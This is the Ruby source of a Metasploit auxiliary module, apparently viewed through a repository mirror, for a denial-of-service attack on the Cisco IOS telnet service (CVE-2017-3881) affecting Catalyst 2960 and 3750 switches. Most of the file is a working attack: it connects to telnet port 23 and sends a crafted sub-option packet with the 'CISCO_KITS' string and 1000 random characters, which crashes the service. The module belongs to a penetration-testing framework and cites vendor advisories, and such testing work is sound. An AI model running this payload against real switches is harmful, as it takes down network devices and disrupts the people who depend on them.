Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Cisco IOS Telnet Denial of Service',
15
'Description' => %q{
16
This module triggers a Denial of Service condition in the Cisco IOS
17
telnet service affecting multiple Cisco switches. Tested against Cisco
18
Catalyst 2960 and 3750.
19
},
20
'Author' => [ 'Artem Kondratenko' ],
21
'License' => MSF_LICENSE,
22
'References' => [
23
['BID', '96960'],
24
['CVE', '2017-3881'],
25
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
26
['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
27
],
28
'DisclosureDate' => '2017-03-17',
29
'Notes' => {
30
'Stability' => [CRASH_SERVICE_DOWN],
31
'SideEffects' => [],
32
'Reliability' => []
33
}
34
)
35
)
36
37
register_options([ Opt::RPORT(23) ])
38
end
39
40
def run
41
connect
42
print_status 'Connected to telnet service'
43
packet = sock.read(200)
44
if packet.nil?
45
print_error 'Failed to get initial packet from telnet service.'
46
else
47
print_status 'Got initial packet from telnet service: ' + packet.inspect
48
end
49
print_status 'Sending Telnet DoS packet'
50
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
51
disconnect
52
rescue ::Rex::ConnectionRefused
53
print_status "Unable to connect to #{rhost}:#{rport}."
54
rescue ::Errno::ECONNRESET
55
print_good "DoS packet successful. #{rhost} not responding."
56
end
57
end
58
59